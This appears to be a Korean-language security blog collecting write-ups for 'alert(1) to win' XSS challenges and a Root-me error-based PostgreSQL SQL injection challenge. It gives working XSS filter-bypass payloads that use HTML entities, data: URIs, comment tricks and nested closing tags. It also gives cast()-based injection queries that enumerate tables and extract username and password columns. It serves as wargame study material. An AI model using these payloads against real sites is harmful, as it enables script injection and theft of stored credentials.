Skandia

 

 

문제


 

 

 

 

 

 

문제해석


 

 

 

문자를 입력하면 대문자로 치환된다.

 

 

 

 

풀이


 

 

 

HTML entity를 이용하여 해결하였다. 

HTML entity : HTML 문서를 코딩할 때 태그와 혼용되는 것을 막기 위해 브라우저 상에 예약된 문자

 

HTML entity는 JavaScript를 해석하기전에 미리 해석되기 때문에 script가 해석 될 때에 alert(1)로 인식하여 문제가 풀린다.

 

 

 

#뒤에 x를 통해 16진수로 사용가능하다

 

 

Input :</script><iframe/onload=&#x61&#x6C&#x65&#x72&#x74(1)//

 

 

 

 


처음 시도했던 것

 

 

 

원래 문제 풀때에 처음 시도했던 방법이다.

 

 

 

Input : "+'\141\154\145\162\164\50\61\51'+"

 

 

Warmup때 썻던 방법을 응용하여 공격할 수 있을 줄 알았는데 Javascript 단에서 해석이 되기때문에 alert()로서의 기능은 수행되지 않고 문자열로서만 변환이 되어 공격이 안된 것 같다.

 

 

 


다른 풀이

 

 

 

url encoding 을 이용하는 방법

data:, 뒤에 url 인코딩하여 사용할 수 있는 방법으로 해결하였다.

 

Input : </script><script src=data:,%61%6C%65%72%74(1)>

 

 

 

 


이외에

 

 

 

저번에도 사용했던 \u0061 js에서 해석되는 문법

 

 

svg일때 크롬 오류로 html entitiy를 해석하는 것

<svg><script>alert&#28;1)</script>

 

태그에도 우선순위가 있음!
<title><a href="</title><svg/onerror=alert(1)>

 

를 알게 되었땅

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

callback2

 

 

문제


 

 

 

 

문제해석


 

 

기본적으로 callback과 같으며 대신에 ", \, / 와 같은 필터링이 생겼다.

 

 

 

풀이


 

필터링이 생겨 기존에 사용하던 //를 못사용하고

다른 주석을 이용하여 풀면된다.

 

Input : '#';alert(1)<!--

 

 

 

 

 


javascript의 주석

 

//     <!-- 이외에

(개행문자)--> 도 있다. 

 

위의 문제에서 엔터를 -->전에 누르면 \n으로 필티링(되어서 나오는데) 개발자 도구의 콘솔창을 이용하여

copy('\u2028')  또는 2029를 한 후 -->전에 붙여넣기를 하면 된다!?

 

 

 

(js가 정착되지 않은 시절 js로 개발된 것이 정착되고 난  후

<script>

<!--

 

-->

</script>

다음과 같이 짜여진 코드들이 정상 작동하도록 각각이 한줄 주석으로 처리되게 했다고 한다.

)

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

JSON 2

 

 

문제


 

 

 

 

문제해석


 

 

 

</script 를 입력하면 공백으로 바뀐다.

 

 

 

풀이


 

</script를 입력해야지만 공백으로 바뀌고 </s1cript와 같이 다른문자가 섞여있을 때는 그대로 출력된다.

그래서 </script만 공백으로 바뀌는 것을 이용하여 payload를 작성하면된다.

 

Input : </</scriptscript<script>alert(1)//

 

 

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

Markdown

 

 

문제


 

 

 

문제해석


 

<와 "는 각각 &lt; &quot;로 치환 되며

 

 

 

[[a|b]]

 

 

a부분이 img 태그의 alt 부분, b 부분이 src 부분으로 각각 들어가게 되며

alt - Alternate(대체하다) 이미지가 잘못 불러졌을 때 대체되어 나타나는 것.

 

 

 

http://string

 

 

다음과 같이 치환된다.

 

 

 

 

풀이


 

"가 &quot;로 치환되어 사용하지 못하지만 http:// 와 [[a|b]]가 치환되는 형태 안에서 각각 "를 포함하는 것을 이용하여 "를 우회할 수 있다.

 

input : [[a|http://onerror=alert(1)//]]

 

 

다음과 같이 풀 수 있다.

 

 

<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a> 에서

 

실제 페이지에서 다음과 같이 해석 된다.

 

 

 

 


//에 대한 공부

<img alt="<a href=" http: 에서 //가 html paser로 해석되는데 어떠한 값으로도 해석되지 않아 공백 문자와 같이 처리되고

onerror 다음의 //는 js 이벤트 핸들러로 해석되어 주석의 기능을 실행하며

"">http~~~ 의 // 는 text 그대로 해석 되어 출력된다.

 

참고 : https://www.w3.org/TR/2011/WD-html5-20110405/tokenization.html#tag-open-state

8.2.4.1 Data state

 

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

Warmup

 

 

 

 

console.log를 닫아주고 alert(1)이 후 주석 처리를 해주어도 되고, 안에 더블 쿼터들을 문자열 연결을 통해 처리해주면서 alert(1)을 하면 된다.

 

input : +"alert(1)"+

 

 


 

Adobe

 

 

 

 

"를 치면 \가 생긴다. "앞에 \를 넣어 줌으로써 \가 "로 생기는 \를 문자로 표현 해주어 우회가 가능하다

 

input : \");alert(1)//

 

 


 

JSON

 

 

 

 

앞선 문제와 달리 \에도 \가 생겨 앞 문제와 약간 다르다 script를 닫아주고 새로운 script 태그를 만들어 alert를 해준다.

 

input : </script><script>alert(1)//

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10

 

 

password를 찾는 문제이다.

 

 

Contents에 order부분에 injection을 하면 될 것 같다. 

 


1. DB 종류 파악

 

 

 

 

 

문제를 보고 Error based sql injection로 생각하고 LOS때 사용했던 쿼리문을 한번 넣어보았다.

 

Query : ASC, (select count(*), floor(rand(0)*2)x from (select 1 union select 2 )t group by x) 

   //다음 쿼리 부터 ASC 생략하고 작성

 

 

 

쿼리를 작성하였더니 rand 함수를 찾을 수 없다는 ERROR메세지를 얻게 되었다. mysql이 아닌거라 생각하고 어떤 DB를 쓰는지 확인해보니 PostgreSQL 을 사용함을 알 수 있었다. ( sql injection db 종류 확인

 

 

 

Query : (select datname from pg_database)

//다른 쿼리도 사용 가능

 

 

 

 

+ERROR메세지를 통해서도 DB를 추측할 수 있는 것 같다.

// 출처 : https://cons.tistory.com/55

Query : '

 

 

 


2. Injection 시도

 

 

 

 

 

 

위의 쿼리들로 DB종류를 알아내서 Error based sql injection 공격을 시도 해보았다.

 

 

 

1. 테이블 이름을 얻는 쿼리

Query : 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

 

 

 

위의 쿼리로 table이름을 얻을 수 있었다.

 

 

 

2. column 명을 얻는 쿼리

Query : 1=cast((select column_name from information_schema.columns where table_name= CHR(109) || CHR(51) || CHR(109) || CHR(98) || CHR(114) || CHR(51) || CHR(53) || CHR(116) || CHR(52) || CHR(98) || CHR(108) || CHR(51)  limit 1 offset 0) as int)--

 

 

 

offset 값을 늘려가면서 필요한 column 값을 얻을 수 있었다.

us3rn4m3_c0l,  p455w0rd_c0l,  em41l_c0l

 

 

 

3.컬럼명을 통해 필요한 데이터 얻기

Query : 1=cast((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

Query : 1=cast((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

 

 

위의 데이터를 통해 답을 얻을 수 있었다

참고 : https://forum.sqliwiki.com/showthread.php?tid=30

 

 

 


문제를 풀고나서 Root-me에 올라온 solution들을 봤는데

컬럼명을 구하는 작업에서 '가 필터링 되어 있어서 column명을 얻는 쿼리에서 하나하나 CHR()을 반복하는 작업을 했는데 PostgreSQL에서는 $$로 우회할 수 있는 것 같다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27

+ Recent posts